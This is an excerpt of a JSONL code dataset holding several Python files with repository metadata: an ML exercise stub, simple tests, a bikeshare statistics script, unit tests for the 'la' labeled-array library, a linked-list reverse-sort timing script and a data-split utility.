"max_stars_repo_path": "src/sage/misc/sage_timeit.py", "max_stars_repo_name": "bopopescu/classic_diff_geom", "max_stars_repo_head_hexsha": "2b1d88becbc8cb30962e0995cc78e429e0f5589f", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2015-08-11T05:05:47.000Z", "max_stars_repo_stars_event_max_datetime": "2019-05-15T17:27:25.000Z", "max_issues_repo_path": "src/sage/misc/sage_timeit.py", "max_issues_repo_name": "bopopescu/classic_diff_geom", "max_issues_repo_head_hexsha": "2b1d88becbc8cb30962e0995cc78e429e0f5589f", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/sage/misc/sage_timeit.py", "max_forks_repo_name": "bopopescu/classic_diff_geom", "max_forks_repo_head_hexsha": "2b1d88becbc8cb30962e0995cc78e429e0f5589f", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-07-24T11:56:55.000Z", "max_forks_repo_forks_event_max_datetime": "2020-07-24T11:56:55.000Z", "avg_line_length": 30.8352490421, "max_line_length": 104, "alphanum_fraction": 0.5853628231, "include": true, "reason": "import sage,from sage", "num_tokens": 2215, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.2782567937024021, "lm_q2_score": 0.23091975234373588, "lm_q1q2_score": 0.0642549898897207}}
{"text": "import matplotlib.pyplot as plt\nimport numpy as np\n\ndef plot_data(X, y):\n    plt.figure()\n\n    # ===================== Your Code Here =====================\n    # Instructions : Plot the positive and negative examples on a\n    #                2D plot, using the marker=\"+\" for the positive\n    #                examples and marker=\"o\" for the negative examples\n    #\n\n\n", "meta": {"hexsha": "cb013d878c1643a677f6234e24d77e5b939a2b13", "size": 369, "ext": "py", "lang": "Python", "max_stars_repo_path": "machine-learning-ex6/ex6/plotData.py", "max_stars_repo_name": "ShawnT4ever/coursera-ml-py", "max_stars_repo_head_hexsha": "ede0f259ed5ac6ed0c0d7b4d6f999cad5c07aafb", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1333, "max_stars_repo_stars_event_min_datetime": "2017-03-24T05:51:41.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-27T14:20:55.000Z", "max_issues_repo_path": "machine-learning-ex6/ex6/plotData.py", "max_issues_repo_name": "ShawnT4ever/coursera-ml-py", "max_issues_repo_head_hexsha": "ede0f259ed5ac6ed0c0d7b4d6f999cad5c07aafb", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2020-10-15T10:03:44.000Z", "max_issues_repo_issues_event_max_datetime": "2020-10-15T10:03:44.000Z", "max_forks_repo_path": "machine-learning-ex6/ex6/plotData.py", "max_forks_repo_name": "ShawnT4ever/coursera-ml-py", "max_forks_repo_head_hexsha": "ede0f259ed5ac6ed0c0d7b4d6f999cad5c07aafb", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 531, "max_forks_repo_forks_event_min_datetime": "2017-03-25T14:08:34.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-29T07:01:30.000Z", "avg_line_length": 26.3571428571, "max_line_length": 70, "alphanum_fraction": 0.5420054201, "include": true, "reason": "import numpy", "num_tokens": 78, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4339814648038985, "lm_q2_score": 0.1480471961522176, "lm_q1q2_score": 0.06424973904624948}}
{"text": "## Brian Blaylock\r\n## October 1, 2021\r\n\r\n\"\"\"\r\nI have no idea what I'm doing yet. First time making a test.\r\n\"\"\"\r\nimport numpy as np\r\n\r\ndef test_sqrt():\r\n   num = 25\r\n   assert np.sqrt(num) == 5\r\n\r\ndef test_str():\r\n   a = \"Herbie\"\r\n   b = \"Herbie\"\r\n   assert a==b\r\n\r\n", "meta": {"hexsha": "29461d963f68087b514b0e0d8481326fa6af990d", "size": 266, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/test_first.py", "max_stars_repo_name": "akey7/Herbie", "max_stars_repo_head_hexsha": "b96ce71361fb9f896b9352e41514fdaeea7ca62c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 67, "max_stars_repo_stars_event_min_datetime": "2021-07-30T15:44:56.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-28T13:14:53.000Z", "max_issues_repo_path": "tests/test_first.py", "max_issues_repo_name": "djgagne/Herbie", "max_issues_repo_head_hexsha": "7dad40d4f8e6398b4ecb357f6d8d20b310ebcbe6", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 30, "max_issues_repo_issues_event_min_datetime": "2021-07-28T22:19:35.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-21T18:35:28.000Z", "max_forks_repo_path": "tests/test_first.py", "max_forks_repo_name": "djgagne/Herbie", "max_forks_repo_head_hexsha": "7dad40d4f8e6398b4ecb357f6d8d20b310ebcbe6", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 11, "max_forks_repo_forks_event_min_datetime": "2021-08-23T15:42:41.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-24T13:48:50.000Z", "avg_line_length": 14.7777777778, "max_line_length": 61, "alphanum_fraction": 0.5676691729, "include": true, "reason": "import numpy", "num_tokens": 82, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4225046348141883, "lm_q2_score": 0.15203224546424318, "lm_q1q2_score": 0.0642343283498511}}
{"text": "import time\nimport pandas as pd\nimport numpy as np\n\nCITY_DATA = { 'chicago': 'chicago.csv',\n              'new york city': 'new_york_city.csv',\n              'washington': 'washington.csv' }\nmonths = ['january', 'february', 'march', 'april', 'may', 'june','all']\ndays_of_week = ['Sunday','Monday','Tuesday','Wednesday','Thursday','Friday','Saturday','All']\n\ndef get_filters():\n    \"\"\"\n    Asks user to specify a city, month, and day to analyze.\n\n    Returns:\n        (str) city - name of the city to analyze\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    \"\"\"\n    print('Hello! Let\\'s explore some US bikeshare data!')\n    # user input for city (chicago, new york city, washington).\n    citylist = list(CITY_DATA.keys())\n    print(\"would you like to see data for\",citylist)\n    while True:\n        city = input().lower()\n        if city not in CITY_DATA:\n            print(\"please try again\")\n            continue\n        else:\n            break\n\n    # user input for month (all, january, february, ... , june)\n    print(\"which month?\",months)\n    while True:\n        month = input().lower()\n        if month not in months:\n            print(\"please try again\")\n            continue\n        else:\n            break\n\n    # user input for day of week (all, monday, tuesday, ... sunday)\n    print(\"which day?\",days_of_week)\n    while True:\n        day = input().title()\n        if day not in days_of_week:\n            print(\"please try again\")\n            continue\n        else:\n            break\n\n    print('-'*40)\n    return city, month, day\n\n\ndef load_data(city, month, day):\n    \"\"\"\n    Loads data for the specified city and filters by month and day if applicable.\n\n    Args:\n        (str) city - name of the city to analyze\n        (str) month - name of the month to filter by, or \"all\" to apply no month filter\n        (str) day - name of the day of week to filter by, or \"all\" to apply no day filter\n    Returns:\n        df - Pandas DataFrame containing city data filtered by month and day\n    \"\"\"\n    df = pd.read_csv(CITY_DATA[city])\n    # convert the Start Time column to datetime\n    df['Start Time'] = pd.to_datetime(df['Start Time'])\n\n    # extract month and day of week from Start Time to create new columns\n    df['month'] = df['Start Time'].dt.month\n    df['day_of_week'] = df['Start Time'].dt.weekday_name\n\n    # filter by month if applicable\n    if month != 'all':\n        # use the index of the months list to get the corresponding int\n        month = months.index(month) + 1\n\n        # filter by month to create the new dataframe\n        df = df[df['month'] == month]\n\n    # filter by day of week if applicable\n    if day != 'All':\n        # filter by day of week to create the new dataframe\n        df = df[df['day_of_week'] == day.title()]\n\n    return df\n\n\ndef time_stats(df):\n    \"\"\"Displays statistics on the most frequent times of travel.\"\"\"\n\n    print('\\nCalculating The Most Frequent Times of Travel...\\n')\n    start_time = time.time()\n\n    #  the most common month\n    popular_month = df['month'].mode()[0]\n\n    # the most common day of week\n    popular_day = df['day_of_week'].mode()[0]\n\n    # the most common start hour\n\n    # convert the Start Time column to datetime\n    df['Start Time'] = pd.to_datetime(df['Start Time'])\n\n    # extract hour from the Start Time column to create an hour column\n    df['hour'] = df['Start Time'].dt.hour\n\n    # find the most popular hour\n    popular_hour = df['hour'].mode()[0]\n\n    print(\"Most Popular month:\",popular_month)\n    print(\"Most Popular day:\", popular_day)\n    print(\"Most Popular Start Hour:\", popular_hour)\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef station_stats(df):\n    \"\"\"Displays statistics on the most popular stations and trip.\"\"\"\n\n    print('\\nCalculating The Most Popular Stations and Trip...\\n')\n    start_time = time.time()\n\n    #  display most commonly used start station\n    popular_start_station = df['Start Station'].mode()[0]\n\n    #  display most commonly used end station\n    popular_end_station = df['End Station'].mode()[0]\n\n    #  display most frequent combination of start station and end station trip\n    popular_combination = df.groupby(['Start Station','End Station']).size().idxmax()\n    print(\"Most Popular Start Station:\",popular_start_station)\n    print(\"Most Popular End Station:\",popular_end_station)\n    print(\"Most Popular trip:\",popular_combination)\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef trip_duration_stats(df):\n    \"\"\"Displays statistics on the total and average trip duration.\"\"\"\n\n    print('\\nCalculating Trip Duration...\\n')\n    start_time = time.time()\n\n    #  display total travel time\n    total_travel_time = df['Trip Duration'].sum()\n\n    # display mean travel time\n    mean_travel_time = df['Trip Duration'].mean()\n\n    print(\"total travel time:\",total_travel_time)\n    print(\"the avreage travel time:\",mean_travel_time)\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\n\ndef user_stats(df):\n    \"\"\"Displays statistics on bikeshare users.\"\"\"\n    print('\\nCalculating User Stats...\\n')\n    start_time = time.time()\n    # Display counts of user types\n    user_types = df['User Type'].value_counts()\n    # Display counts of gender\n    if 'Gender' in df:\n        gender_types = df['Gender'].value_counts()\n        print('count of males and females is :' , gender_types)\n    else:\n        print('there is no gender data for this city')\n    # Display earliest, most recent, and most common year of birth\n    if 'Birth Year' in df:\n        earliest = int(df['Birth Year'].min())\n        recent = int(df['Birth Year'].max())\n        popular = int(df['Birth Year'].mode()[0])\n        print(\"the earlies birth was in\",earliest ,\"and the most recent birth was in\",recent,\"the most common birth was in\",popular)\n    else:\n        print('there is no Birth Year data for this city')\n\n\n    print(\"\\nThis took %s seconds.\" % (time.time() - start_time))\n    print('-'*40)\n\ndef data(df):\n    raw_input = 0\n\n    while True:\n        # to ask the user if he wants to see the raw data or not\n        choice = input('do you want to see five rows of raw data ? please type yes if you want to and no If you don\\'t: ').lower()\n        if choice == 'no':\n            break\n        elif choice == 'yes':\n            raw_input += 5\n            print(df.iloc[raw_input : raw_input + 5])\n            print(choice)\n\n        else:\n            print('Wrong input')\n\ndef main():\n    city = ()\n    month = ()\n    day = ()\n    while True:\n        city, month, day = get_filters()\n        df = load_data(city, month, day)\n\n        time_stats(df)\n        station_stats(df)\n        trip_duration_stats(df)\n        user_stats(df)\n        data(df)\n\n        restart = input('\\nWould you like to restart? Enter yes or no.\\n')\n        if restart.lower() != 'yes':\n            break\n\n\nif __name__ == \"__main__\":\n\tmain()\n", "meta": {"hexsha": "af10151574926c252611360dbbb6e9e3ef4be197", "size": 7063, "ext": "py", "lang": "Python", "max_stars_repo_path": "saad_aloqayli_python_project.py", "max_stars_repo_name": "SaadAloqayli/Bike-share-project", "max_stars_repo_head_hexsha": "41445b9bf7077783035b91166c48c190df1d2170", "max_stars_repo_licenses": ["CNRI-Python"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "saad_aloqayli_python_project.py", "max_issues_repo_name": "SaadAloqayli/Bike-share-project", "max_issues_repo_head_hexsha": "41445b9bf7077783035b91166c48c190df1d2170", "max_issues_repo_licenses": ["CNRI-Python"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "saad_aloqayli_python_project.py", "max_forks_repo_name": "SaadAloqayli/Bike-share-project", "max_forks_repo_head_hexsha": "41445b9bf7077783035b91166c48c190df1d2170", "max_forks_repo_licenses": ["CNRI-Python"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.6726457399, "max_line_length": 132, "alphanum_fraction": 0.6174430129, "include": true, "reason": "import numpy", "num_tokens": 1720, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4225046493573919, "lm_q2_score": 0.152032235859071, "lm_q1q2_score": 0.06423432650265709}}
{"text": "\"Slicing unit tests\"\r\n\r\n\r\n\"\"\"\nNOTES\n\n\r\nIndexing with nd boolean array fails:\n\r\n>>> lar[lar>0]\r\nTraceback (most recent call last):\r\n  File \"la\\deflarry.py\", line 722, in __getitem__\r\n    raise IndexError, msg\r\nIndexError: Only slice, integer, and seq (list, tuple, 1d array) indexing supported\r\nlar.x[lar.x>0]  # this works but creates 1d array, only useful for changes\n\nComment: Note that the numpy example (lar.x[lar.x>0]) creates a 1d array. If\nlarry would allow this kind of indexing what would it do with the 2d labels\nwhen the output is 1d? Should each label element become a tuple?\r\n\n\r\nIndexing with 1d boolean array fails:\n\r\n>>> la1_3d[lar.x[:,0,0]>0,:,:]\r\nTraceback (most recent call last):\r\n  File \"la\\deflarry.py\", line 725, in __getitem__\r\n    return type(self)(x, label)\r\n  File \"la\\deflarry.py\", line 60, in __init__\r\n    raise ValueError, msg2 % (i, value, key)\r\nValueError: Elements of label not unique along dimension 0. There are 2 labels named `1`.\r\n>>> lar.x[lar.x[:,0,0]>0,:,:] # this works\n\nComment: Yes, you can't create a larry that doesn't have unique label elements\nalong the axis. It works if the resulting labels are unique.\r\n\n\r\nList slicing fails:\n\r\n>>> lar.x[[0,1], [0,1], [0,1]]\r\narray([ 2.,  4.])\r\n>>> lar[[0,1], [0,1], [0,1]]\r\nTraceback (most recent call last):\r\n  File \"la\\deflarry.py\", line 725, in __getitem__\r\n    return type(self)(x, label)\r\n  File \"la\\deflarry.py\", line 50, in __init__\r\n    if x.shape[i] != nlabel:\r\nIndexError: tuple index out of range\r\n\n\r\nBroadcasting of slices fails in larry:\n\r\n>>> lar.x[(np.array([0,1])[:,None], [0,1], [0,1])]\r\narray([[ 2.,  2.],\r\n       [ 4.,  4.]])\r\n>>> lar[(np.array([0,1])[:,None], [0,1], [0,1])]\r\nTraceback (most recent call last):\r\n  File \"la\\deflarry.py\", line 725, in __getitem__\r\n    return type(self)(x, label)\r\n  File \"la\\deflarry.py\", line 50, in __init__\r\n    if x.shape[i] != nlabel:\r\nIndexError: tuple index out of range\r\n\n\"\"\"\n\r\nimport numpy as np\r\nfrom numpy.testing import assert_\r\nimport la\r\n\r\nnan = np.nan\r\n\r\ndef getnplabel3d(idx, slices, reduced=False): #True):\r\n    '''constructs list of labels for comparison with generic larry\r\n    \r\n    does not preserve ordering of labels in each axis \r\n    '''\r\n    ndim = idx[0].ndim\r\n    labs = [np.unique(idx[ii][slices]).tolist() for ii in range(ndim)]\r\n    if reduced:\r\n        labs = [ii for ii in labs if len(ii) > 1]\r\n    return labs\r\n\r\ndef getnplabel3dm(idx, slices, reduced=True):\r\n    '''constructs list of labels for comparison with generic larry\r\n    \r\n    preserves ordering of labels in each axis, usable for morph comparison\r\n    '''\r\n    #not sure anymore if it doesn't work easier\r\n    ndim = idx[0].ndim\r\n    labs = []\r\n    for ii in range(ndim):\r\n        sliceidx = list(np.zeros(ndim,int))\r\n        sliceidx[ii] = slices[ii]\r\n        labs.append((idx[ii][sliceidx]).tolist())\r\n    if reduced:\r\n        labs = [ii for ii in labs if len(ii) > 1]\r\n    return labs\r\n\r\n# larry definition on module level or in class setup, for now only 1 larry used \r\n\r\nx1 = np.array([[ 2.0, 2.0, 3.0, 1.0],\r\n               [ 3.0, 2.0, 2.0, 1.0],\r\n               [ 1.0, 1.0, 1.0, 1.0]])\r\n\r\n# slice tests for 3d\r\n\r\nla1_2d0 = la.larry(x1)\r\nla1_2d1 = la.larry(x1)\r\nx1_3d = np.rollaxis(np.dstack([x1,2*x1]),2)\r\nla1_3d = la.larry(x1_3d)\r\nn0,n1,n2 = la1_3d.shape\r\nidx = np.mgrid[0:n0,0:n1,0:n2]\r\n          \r\n        \r\ndef test_slicing():\n    \"larry slicing nose tests\"\r\n    slices = (slice(None), slice(None), slice(None,2))\r\n    larli = [la1_3d, la1_2d0]\r\n    sliceli = [(slice(None), slice(None), slice(None,2)),\r\n               (slice(None), slice(None,1), slice(None,2)),\r\n               (slice(None,1), slice(None), slice(None,2)),\r\n               (slice(None), slice(None), slice(2)),\r\n               (slice(None), slice(None), 0),\r\n               (slice(None), 0, 0),\r\n               (slice(None), slice(2)),\r\n               #([0,1], [0,1], [0,1]),  # fails in larry\r\n               #(np.array([0,1])[:,None], [0,1], [0,1]), #broadcasting\r\n               (0,0,0)\r\n              ]\r\n    \r\n    for lar in larli:\r\n        for slices in sliceli:\r\n            ndim = lar.ndim\r\n            # create arrays corresponding to labels for slicing\r\n            idxslice = [slice(0,nn) for nn in lar.shape]\r\n            idx = np.mgrid[idxslice]\r\n            slices = slices[:ndim]  # to run same loop on 2d and 3d\r\n            lasliced = lar[slices]\r\n            if not np.isscalar(lasliced):\r\n                lasliced_x = lasliced.x\r\n                lasliced_label = lasliced.label\r\n            else:\r\n                lasliced_x = lasliced\r\n                lasliced_label = []\r\n            reduced = np.ndim(lar.x) > np.ndim(lasliced_x)\r\n            \r\n            newlabels = getnplabel3d(idx, slices, reduced=reduced)\r\n            yield assert_, np.all(lasliced_x == lar.x[slices]), \\\r\n                    'slicing\\n%s\\n%s' % (repr(lasliced_x), repr(lar.x[slices]))\r\n            yield assert_, lasliced_label == newlabels,\\\r\n                    'slicing\\n%s\\n%s' % (repr(lasliced_label),\r\n                    repr(newlabels))\r\n\r\ndef test_morph():\n    \"larry.morph nose tests\"\r\n    larli = [la1_3d, la1_2d0]\r\n    slicesmorph = [([0,2,1,3], -1),\r\n                   ([0,2,1], 2),\r\n                   ([1,0], 0),\r\n                   ([0,2,1], 1)\r\n                  ]\r\n\r\n    # Some of the things in the following loop are not necessary because\r\n    # morph doesn't reduce dimension\r\n    for lar in larli: \r\n        for newlab, axis in slicesmorph:\r\n            ndim = lar.ndim\r\n            if axis > (ndim - 1):\r\n                continue  # skip infeasible cases\r\n            \r\n            slices = [slice(None)]*ndim\r\n            slices[axis] = newlab\r\n            \r\n            # Create arrays corresponding to labels for slicing\r\n            idxslice = [slice(0,nn) for nn in lar.shape]\r\n            idx = np.mgrid[idxslice]\r\n            slices = slices[:ndim]  # to run same loop on 2d and 3d\r\n            lasliced = lar.morph(newlab, axis)\r\n            if not np.isscalar(lasliced):\r\n                lasliced_x = lasliced.x\r\n                lasliced_label = lasliced.label\r\n            else:\r\n                lasliced_x = lasliced\r\n                lasliced_label = []\r\n            reduced = np.ndim(lar.x) > np.ndim(lasliced_x)\r\n            \r\n            newlabels = getnplabel3dm(idx, slices, reduced=reduced)\r\n\r\n            yield assert_, np.all(lasliced_x == lar.x[slices]), \\\r\n                    'slicing\\n%s\\n%s' % (repr(lasliced_x), repr(lar.x[slices]))\r\n            yield assert_, lasliced_label == newlabels,\\\r\n                    'slicing\\n%s\\n%s' % (repr(lasliced_label),\r\n                    repr(newlabels))\r\n\r\n\r\n", "meta": {"hexsha": "96def1626350f00ca43fdf2945c838d9b100bede", "size": 6654, "ext": "py", "lang": "Python", "max_stars_repo_path": "la/tests/slicing_test.py", "max_stars_repo_name": "mikiec84/la", "max_stars_repo_head_hexsha": "705e53df526ed316f5869962b50749f8d873364e", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2015-01-30T19:49:19.000Z", "max_stars_repo_stars_event_max_datetime": "2015-01-30T19:49:19.000Z", "max_issues_repo_path": "la/tests/slicing_test.py", "max_issues_repo_name": "fhal/la", "max_issues_repo_head_hexsha": "5f537345ec7fd627fa4bf16cab3a3f4d5a72800c", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "la/tests/slicing_test.py", "max_forks_repo_name": "fhal/la", "max_forks_repo_head_hexsha": "5f537345ec7fd627fa4bf16cab3a3f4d5a72800c", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.1230769231, "max_line_length": 90, "alphanum_fraction": 0.556507364, "include": true, "reason": "import numpy,from numpy", "num_tokens": 1908, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958346, "lm_q2_score": 0.13117323395124275, "lm_q1q2_score": 0.06404971204564766}}
{"text": "#!/usr/bin/python3\r\n# -*- coding: utf-8 -*-\r\n\r\nDEFAULT_OUT = \"out_alg_sort_selection.txt\"\r\nDEFAULT_SEED = None\r\n\r\nDEFAULT_N_START = 1\r\nDEFAULT_N_STOP = 10\r\nDEFAULT_N_STEP = 1\r\nDEFAULT_TRIALS = 3\r\n\r\nfrom subprocess import Popen, PIPE\r\nfrom time import sleep, time\r\nfrom multiprocessing import Process\r\nimport shlex\r\nimport json\r\n\r\nimport sys\r\nimport os\r\nimport argparse\r\nimport logging\r\nimport subprocess\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport scipy.optimize as opt\r\nimport matplotlib.colors as colors\r\nimport matplotlib.cm as cmx\r\n\r\nimport timeit\r\n\r\n\r\nclass Node:\r\n\r\n    def __init__(self, data):\r\n        self.data = data\r\n        self.proximo = None\r\n\r\n\r\nclass ListaEncadeada:\r\n\r\n    def __init__(self):\r\n        self.cabeca = None\r\n\r\n    def reverter(self):\r\n        if self.cabeca is None or self.cabeca.proximo is None:\r\n            return\r\n\r\n        anterior = None\r\n        atual = self.cabeca\r\n\r\n        while atual:\r\n            proximo_elemento = atual.proximo\r\n            atual.proximo = anterior\r\n            anterior = atual\r\n            atual = proximo_elemento\r\n\r\n        self.cabeca = anterior\r\n\r\n    def push(self, data):\r\n        novo_nodo = Node(data)\r\n        novo_nodo.proximo = self.cabeca\r\n        self.cabeca = novo_nodo\r\n\r\n    def print_list(self):\r\n        atual = self.cabeca\r\n        l1 = []\r\n        while atual:\r\n            l1.append(atual.data)\r\n            atual = atual.proximo\r\n        return l1\r\n\r\n\r\ndef sort_reverse(lista):\r\n\t\"\"\"\r\n\tImplementa\u00e7\u00e3o do Sort Reverse\r\n\t:param lista: qualquer ordem\r\n\t:return: lista reversa\r\n\t\"\"\"\r\n\t'''n = len(lista)-1\r\n\tm = len(lista)\r\n\tfor i in range(m):\r\n\t\taux = lista[n]\r\n\t\tlista[n] = i\r\n\t\tlista[i] = aux\r\n\t\tn -= 1'''\r\n\tcabeca = ListaEncadeada()\r\n\tfor i in lista:\r\n\t\tcabeca.push(i)\r\n\tcabeca.reverter()\r\n\tlista = cabeca.print_list()\r\n\treturn lista\r\n\r\n\r\ndef main():\r\n\t# Defini\u00e7\u00e3o de argumentos\r\n\tparser = argparse.ArgumentParser(description='Naive TPS')\r\n\thelp_msg = \"arquivo de sa\u00edda.  Padr\u00e3o:{}\".format(DEFAULT_OUT)\r\n\tparser.add_argument(\"--out\", \"-o\", help=help_msg, default=DEFAULT_OUT, type=str)\r\n\r\n\thelp_msg = \"semente aleat\u00f3ria. Padr\u00e3o:{}\".format(DEFAULT_SEED)\r\n\tparser.add_argument(\"--seed\", \"-s\", help=help_msg, default=DEFAULT_SEED, type=int)\r\n\r\n\thelp_msg = \"n m\u00e1ximo.          Padr\u00e3o:{}\".format(DEFAULT_N_STOP)\r\n\tparser.add_argument(\"--nstop\", \"-n\", help=help_msg, default=DEFAULT_N_STOP, type=int)\r\n\r\n\thelp_msg = \"n m\u00ednimo.          Padr\u00e3o:{}\".format(DEFAULT_N_START)\r\n\tparser.add_argument(\"--nstart\", \"-a\", help=help_msg, default=DEFAULT_N_START, type=int)\r\n\r\n\thelp_msg = \"n passo.           Padr\u00e3o:{}\".format(DEFAULT_N_STEP)\r\n\tparser.add_argument(\"--nstep\", \"-e\", help=help_msg, default=DEFAULT_N_STEP, type=int)\r\n\r\n\thelp_msg = \"tentativas.        Padr\u00e3o:{}\".format(DEFAULT_N_STEP)\r\n\tparser.add_argument(\"--trials\", \"-t\", help=help_msg, default=DEFAULT_TRIALS, type=int)\r\n\r\n\t# L\u00ea argumentos from da linha de comando\r\n\targs = parser.parse_args()\r\n\r\n\r\n\ttrials = args.trials\r\n\tf = open(args.out, \"w\")\r\n\tf.write(\"#Reverse sort\\n\")\r\n\tf.write(\"#n time_s_avg time_s_std (for {} trials)\\n\".format(trials))\r\n\tm = 100\r\n\tnp.random.seed(args.seed)\r\n\tfor n in range(args.nstart, args.nstop+1, args.nstep): #range(1, 100):\r\n\t\tresultados = [0 for i in range(trials)]\r\n\t\ttempos = [0 for i in range(trials)]\r\n\t\tfor trial in range(trials):\r\n\t\t\tprint(\"\\n-------\")\r\n\t\t\tprint(\"n: {} trial: {}\".format(n, trial+1))\r\n\t\t\tentrada = np.random.randint(0, n, n)\r\n\t\t\tprint(\"Entrada: {}\".format(entrada))\r\n\t\t\ttempo_inicio = timeit.default_timer()\r\n\t\t\tresultados[trial] = sort_reverse(entrada)\r\n\t\t\ttempo_fim = timeit.default_timer()\r\n\t\t\ttempos[trial] = tempo_fim - tempo_inicio\r\n\t\t\tprint(\"Sa\u00edda: {}\".format(resultados[trial]))\r\n\t\t\tprint('Tempo: {} s'.format(tempos[trial]))\r\n\t\t\tprint(\"\")\r\n\r\n\t\ttempos_avg = np.average(tempos)  # calcula m\u00e9dia\r\n\t\ttempos_std = np.std(a=tempos, ddof=False)  # ddof=calcula desvio padrao de uma amostra?\r\n\r\n\r\n\t\tf.write(\"{} {} {}\\n\".format(n, tempos_avg, tempos_std))\r\n\tf.close()\r\n\r\n\r\nif __name__ == '__main__':\r\n\tsys.exit(main())\r\n", "meta": {"hexsha": "a42e0db64d8d74655699dc81bf570bc6b468585c", "size": 4034, "ext": "py", "lang": "Python", "max_stars_repo_path": "exe_estrutura_dados/exe1/alg_sort_reverse.py", "max_stars_repo_name": "LuizFritsch/analise_projeto_algoritmo", "max_stars_repo_head_hexsha": "28ba6eae6bed68e072c12dd8926ea6b4202ab631", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "exe_estrutura_dados/exe1/alg_sort_reverse.py", "max_issues_repo_name": "LuizFritsch/analise_projeto_algoritmo", "max_issues_repo_head_hexsha": "28ba6eae6bed68e072c12dd8926ea6b4202ab631", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "exe_estrutura_dados/exe1/alg_sort_reverse.py", "max_forks_repo_name": "LuizFritsch/analise_projeto_algoritmo", "max_forks_repo_head_hexsha": "28ba6eae6bed68e072c12dd8926ea6b4202ab631", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 26.5394736842, "max_line_length": 90, "alphanum_fraction": 0.6400594943, "include": true, "reason": "import numpy,import scipy", "num_tokens": 1088, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.13117323055476698, "lm_q1q2_score": 0.06404971038720494}}
{"text": "import numpy as np\n\n\ndef random_split_data(data, label, proportion):\n    \"\"\"\n    Split two numpy arrays into two parts of `proportion` and `1 - proportion`\n\n    Args:\n        - data: numpy array, to be split along the first axis\n        - proportion: a float less than 1\n    \"\"\"\n    assert data.shape[0] == label.shape[0]\n    size = data.shape[0]\n    s = np.random.permutation(size)\n    split_idx = int(proportion * size)\n    return data[s[:split_idx]], label[s[:split_idx]], data[s[split_idx:]], label[s[split_idx:]]", "meta": {"hexsha": "d4e708bdabc8325c4223019ccd6b19d87aa73593", "size": 517, "ext": "py", "lang": "Python", "max_stars_repo_path": "util.py", "max_stars_repo_name": "taohnouaccountb/cse496_HW1", "max_stars_repo_head_hexsha": "5c31f8b9c92f548bf8a777de58459f48ade941ec", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "util.py", "max_issues_repo_name": "taohnouaccountb/cse496_HW1", "max_issues_repo_head_hexsha": "5c31f8b9c92f548bf8a777de58459f48ade941ec", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "util.py", "max_forks_repo_name": "taohnouaccountb/cse496_HW1", "max_forks_repo_head_hexsha": "5c31f8b9c92f548bf8a777de58459f48ade941ec", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.3125, "max_line_length": 95, "alphanum_fraction": 0.6479690522, "include": true, "reason": "import numpy", "num_tokens": 135, "lm_name": 